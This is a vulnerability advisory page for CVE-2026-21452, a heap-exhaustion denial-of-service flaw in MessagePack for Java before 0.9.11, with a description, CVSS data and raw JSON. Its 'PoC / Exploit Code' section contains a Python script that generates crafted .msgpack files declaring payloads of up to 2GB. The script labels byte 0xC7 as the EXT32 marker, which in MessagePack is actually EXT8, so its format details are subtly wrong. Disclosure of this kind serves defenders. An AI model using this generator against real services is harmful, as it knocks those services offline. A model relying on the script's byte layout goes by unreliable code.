Security Vulnerability Report
中文
CVE-2026-21452 CVSS 7.5 HIGH

CVE-2026-21452

Published: 2026-01-02 21:16:03
Last Modified: 2026-02-05 19:21:02

Description

MessagePack for Java is a serializer implementation for Java. A denial-of-service vulnerability exists in versions prior to 0.9.11 when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation. The vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems. Version 0.9.11 fixes the vulnerability.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:msgpack:messagepack:0.9.10:*:*:*:*:java:*:* - VULNERABLE
MessagePack for Java < 0.9.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-21452: MessagePack Java EXT32 DoS Vulnerability This script generates a malicious .msgpack file that triggers unbounded heap allocation. MessagePack EXT32 format: 0xC7 - EXT32 marker (1 byte) 4 bytes - ext length (big-endian, attacker-controlled) 1 byte - ext type [ext data] - actual data (can be minimal) When deserialized by MessagePack-Java < 0.9.11: ExtensionValue.getData() calls ByteBuffer.allocate(extLength) without any upper bound check, causing OOM. """ import struct import sys def create_malicious_msgpack(output_file: str, declared_length: int = 0x7FFFFFFF): """ Generate a malicious .msgpack file with EXT32 object. Args: output_file: Path to write the malicious .msgpack file declared_length: The EXT payload length declared in the header (the actual memory that will be allocated) """ # EXT32 marker ext32_marker = 0xC7 # EXT32 length field (4 bytes, big-endian) # Using 0x7FFFFFFF (Integer.MAX_VALUE) to request ~2GB allocation ext_length_bytes = struct.pack('>I', declared_length & 0xFFFFFFFF) # Extension type (arbitrary, e.g., 0x01) ext_type = 0x01 # Actual extension data (minimal, only 1 byte needed for valid format) ext_data = b'\x00' # Construct the malicious .msgpack file malicious_data = bytes([ext32_marker]) + ext_length_bytes + bytes([ext_type]) + ext_data with open(output_file, 'wb') as f: f.write(malicious_data) print(f"[+] Created malicious .msgpack file: {output_file}") print(f"[+] File size: {len(malicious_data)} bytes") print(f"[+] Declared EXT length: {declared_length} (0x{declared_length:08X})") print(f"[+] Expected memory allocation: ~{declared_length / (1024**3):.2f} GB") print(f"\n[!] When deserialized by MessagePack-Java < 0.9.11, this will trigger:") print(f" ByteBuffer.allocate({declared_length})") print(f" Result: OutOfMemoryError -> Denial of Service") def create_multiple_exploits(): """Generate multiple PoC variants with different declared lengths.""" test_cases = [ ('poc_cve_2026_21452_2gb.msgpack', 0x7FFFFFFF, '2GB allocation attempt'), ('poc_cve_2026_21452_1gb.msgpack', 0x40000000, '1GB allocation attempt'), ('poc_cve_2026_21452_512mb.msgpack', 0x20000000, '512MB allocation attempt'), ('poc_cve_2026_21452_256mb.msgpack', 0x10000000, '256MB allocation attempt'), ] for filename, length, description in test_cases: create_malicious_msgpack(filename, length) print(f" -> {description}") print() if __name__ == '__main__': if len(sys.argv) > 1 and sys.argv[1] == '--all': create_multiple_exploits() else: output = sys.argv[1] if len(sys.argv) > 1 else 'poc_cve_2026_21452.msgpack' create_malicious_msgpack(output) print("\nUsage:") print(" python3 poc_cve_2026_21452.py # Default 2GB exploit") print(" python3 poc_cve_2026_21452.py output.msgpack # Custom filename") print(" python3 poc_cve_2026_21452.py --all # Generate multiple variants")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21452", "sourceIdentifier": "[email protected]", "published": "2026-01-02T21:16:03.067", "lastModified": "2026-02-05T19:21:02.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MessagePack for Java is a serializer implementation for Java. A denial-of-service vulnerability exists in versions prior to 0.9.11 when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation. The vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems. Version 0.9.11 fixes the vulnerability."}, {"lang": "es", "value": "MessagePack para Java es una implementación de serializador para Java. Una vulnerabilidad de denegación de servicio existe en versiones anteriores a la 0.9.11 al deserializar archivos .msgpack que contienen objetos EXT32 con longitudes de carga útil controladas por el atacante. Aunque MessagePack-Java analiza los encabezados de extensión de forma perezosa, luego confía en la longitud de carga útil EXT declarada al materializar los datos de la extensión. Cuando se invoca ExtensionValue.getData(), la biblioteca intenta asignar una matriz de bytes de la longitud declarada sin imponer ningún límite superior. Un archivo .msgpack malicioso de solo unos pocos bytes puede, por lo tanto, desencadenar una asignación de pila ilimitada, lo que resulta en el agotamiento de la pila de la JVM, la terminación del proceso o la indisponibilidad del servicio. Esta vulnerabilidad se desencadena durante la carga / deserialización del modelo, lo que la convierte en una vulnerabilidad de formato de modelo adecuada para la explotación remota. La vulnerabilidad permite un ataque remoto de denegación de servicio contra aplicaciones que deserializan archivos de modelo .msgpack no confiables utilizando MessagePack para Java. Un archivo .msgpack especialmente diseñado pero sintácticamente válido que contiene un objeto EXT32 con una longitud de carga útil excesivamente grande y controlada por el atacante puede desencadenar una asignación de memoria ilimitada durante la deserialización. Cuando se carga el archivo del modelo, la biblioteca confía en los metadatos de longitud declarada e intenta asignar una matriz de bytes de ese tamaño, lo que lleva a un rápido agotamiento de la pila, una recolección de basura excesiva o la terminación inmediata de la JVM con un OutOfMemoryError. El ataque no requiere bytes malformados, interacción del usuario o privilegios elevados y puede explotarse de forma remota en entornos del mundo real como registros de modelos, servicios de inferencia, pipelines de CI/CD y plataformas de alojamiento de modelos basadas en la nube que aceptan o recuperan artefactos .msgpack. Debido a que el archivo malicioso es extremadamente pequeño pero válido, puede eludir los mecanismos básicos de validación y escaneo, lo que resulta en una indisponibilidad completa del servicio y posibles fallas en cascada en los sistemas de producción. La versión 0.9.11 corrige la vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE ... (truncated)